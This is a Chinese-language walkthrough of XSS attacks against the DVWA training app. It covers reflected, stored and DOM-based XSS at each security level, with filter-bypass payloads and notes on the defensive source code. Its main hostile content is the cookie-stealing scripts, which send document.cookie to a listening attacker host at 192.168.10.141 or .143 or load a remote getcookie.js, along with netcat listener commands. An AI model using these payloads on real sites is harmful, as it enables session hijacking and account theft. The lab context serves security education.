DVWA-XSS
XSS 概念: 由于 web 应用程序对用户的输入过滤不严, 通过 html 注入篡改网页, 插入恶意脚本, 从而在用户浏览网页时, 控制用户浏览器的一种攻击.
XSS 类型:
反射型 XSS: 只是简单地把用户输入的数据反射给浏览器, 简单来说, 黑客往往需要去诱使用户点击一个恶意链接, 才能攻击成功.
存储型 XSS: 将用户输入的数据存储在服务器端, 每次用户访问都会被执行 JS 脚本.
DOM 型 XSS: 文本对象模式 xss, 通过修改页面的 DOM 节点形成的 XSS, 可存储型, 可反射型, 只取决于输出地点.
XSS 的应用场景: 1. 利用 xss 获得 cookie,2. 重定向, 3. 钓鱼网站, 4.DDOS
一, 反射型 XSS
反射型 XSS 原理
(一) 将 DVWA 的级别设置为 low
1.1 查看源代码, 可以看到没有对参数做任何防御处理措施, 直接输出
1.2 尝试一般的 XSS 攻击
<script>alert('xss')</script>
<body onload=alert('xss2')>
<a href=''onclick=alert('xss3')>click1</a> #点击 click1 时弹出 xss3
<img src=http://192.168.10.128/a.jpg onerror=alert('xss4')> #src 地址错误, 然后执行 onerror 的内容
重定向:
- <script>
- Windows.location = 'http://www.163.com'
- </script>
- <iframe src='http://192.168.10.141/a.jpg' height='0' width='0'>
- <iframe>
获取 cookie
1.<script>alert(document.cookie)</script>
2.<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>
2.1 在 192.168.10.141 上开启监听
Nc -nvlp 80
2.2 在 DVWA 中输入如下内容
<script>new Image().src="http://192.168.10.141/a.php?output="+document.cookie;</script>
2.3 此时可以在 192.168.10.141 的主机上获得 DVWA 的 cookie 信息
2.4 加载远程的 JS 脚本
2.4.1 在远端服务器上制作一个 JS 脚本
2.4.2 搭建站点, 把 JS 脚本放入到站点中, 开启 Web 服务
/etc/init.d/apache2 start
2.4.3 在 JS 脚本中的 192.168.10.141 主机上开启监听,
2.4.4 在 DVWA 中输入如下内容
<script src='http://192.168.10.141/getcookie.js'></script>
2.4.5 在 192.168.10.141 查看 JS 脚本实现的结果
(二) 将 DVWA 的级别设置为 medium
1. 分析源码, 可以看到使用 str_replace 函数只对参数进行了简单的替换, 过滤 < script>, 别的没有过滤, 此时可以用大小写或者别的标签来绕过
2. 绕过 DVWA medium 防御
2.1 大小写绕过
<Script>alert('xxx')</script>
2.2 组合过滤条件绕过
<scr<script>ipt>alert('sss')</script>
2.3 尝试使用别的标签来绕过
- <body onload=alert( 's')>
- <a href='' onclick=alert( 'ss')>
- click
- </a>
- <a href='' onclick=alert(/ss/)>
- click
- </a>
- #
- <script>
- alert('xx')
- </script>
(三) 将 DVWA 的级别设置为 High
1. 分析源码, 可以看到, 使用了 preg_replace 正则表达式函数, 对参数进行过滤, 查看源码可以看到对 < script > 标签进行了严格的过滤, 但没有过滤别的标签, 此时可以通过 img,body 等标签的事件或者 iframe 等标签的 src 注入恶意的 JS 代码
2. 尝试使用别的标签来绕过
- <body onload=alert( 's')>
- <img src="" onerror=alert( 'xss')>
- <a href='' onclick=alert( 'ss')>
- click
- </a>
- <a href='' onclick=alert(/ss/)>
- click
- </a>
(四) 将 DVWA 的级别设置为 Impossible
1. 分析源码, 可以看到使用 htmlspecialchars 函数对参数进行 HTML 实体转义, 此时就无法利用 XSS 漏洞了
二, 存储型 XSS
存储型 XSS 攻击原理图:
(一) 将 DVWA 的级别设置为 low
1. 分析源码, 可以看到首先对两个参数使用 trim 函数过滤掉两边的空格, 然后 $message 使用 mysql_real_escape_string 函数转义 SQL 语句中的特殊字符, 使用 stripslashes 函数过滤掉 "\", 对 $name 参数中使用 mysql_real_escape_string 函数转义 SQL 语句中的特殊字符
2. 从上面的代码可以看到, 没有防御 XSS 漏洞, 只防御了 SQL 注入漏洞
尝试一般的 XSS 攻击
在 message 栏中测试:
- <script>
- alert('x')
- </script>
- <body onload=alert( 'sss')>
- <a href=http://www.baidu.com>
- clock
- </a>
- <a href='' onclick=alert( 'xss')>
- click
- </a>
重定向:
- <script>
- Windows.location = 'http://www.baidu.com'
- </script>
- <script>
- Windows.location = 'http://192.168.10.141'
- </script>
- <iframe src='http://192.168.10.10.141/a.jpg' height='0' width='0'>
- </iframe>
获取 cookie:
- <script>
- alert(document.cookie)
- </script>
- <script>
- new Image().src = "http://192.168.10.141/c.php?output=" + document.cookie;
- </script>
1. 在 DVWA message 栏中设置字节长度, 输入 < script>new Image().src="http://192.168.10.141/c.php?output="+document.cookie;</script>, 然后再 kali 中开启监听, 下图可可以看到获取到 DVWA 中的 cookie 信息
2. 换一个浏览器访问 192.168.10.130/DVWA 中存储型 XSS, 下图可以看到成功获得 cookie 信息
3. 加载远端服务器的 JS 脚本
制作一个 JS 脚本
把 JS 脚本放到 Web 站点中, 开启 Web 服务
在 DVWA 栏中输入 < script src=http://192.168.10.143/getcookie.js></script>
在 192.168.10.143 主机上开启监听, 当有用户访问 DVWA 中存储型 xss 页面时, 就会把 cookie 信息发送到 192.168.10.143 主机上
4. 修改长度的大小就可以绕过长度的限制了
(二) 将 DVWA 的级别设置为 Medium
1. 分析源代码, 可以看到对 $message 参数做了很严格的过滤 (进行 HTML 实体转义以及转义 SQL 语句中使用的特殊字符, 杜绝了对 $message 关于 xss 的利用), 但对 $name 参数做的过滤不严格, 只是替换 < script > 以及转义 SQL 语句中使用的特殊字符, 可以使用别的 HTML 标签对 $name 参数的防护进行绕过
2. 绕过 DVWA medium 级别
- <Script>
- alert('x')
- </script>
- <body onload=alert( 'xss')>
- <a href='' onclick=alert( 'xss')>
- click
- </a>
(三) 将 DVWA 的级别设置为 High
1. 分析源码, 可以看到相比较中级而言, 高级对 $nam 参数多了对 < script > 严格的过滤, 没有对别的标签做过滤, 但可以通过别的 HTML 标签来进行绕过
2. 绕过
- <body onload=alert( 'xss')>
- <a href='' onclick=alert( 'xss')>
- click
- </a>
(四) 将 DVWA 的级别设置为 Impossible
1. 分析源码可以看到, 对两个参数都做了 HTML 实体转义, 无法利用 xss
三, DOM 型 XSS
文本对象模型
可储存型, 可反射型, 取决于输出地点
<script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>
1. 在 DVWA 中反射型 xss 中输入 < script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>
2. 在 192.168.10.143 主机上开启监听, 可以看到
3. 在 DVWA 中存储型 xss 中输入 < script>var img=document.createElement('img');img.src='http://192.168.10.143:88/log?'+escape(document.cookie);</script>
4. 在 192.168.10.143 主机上开启监听, 可以看到
来源: https://www.cnblogs.com/yuzly/p/10692449.html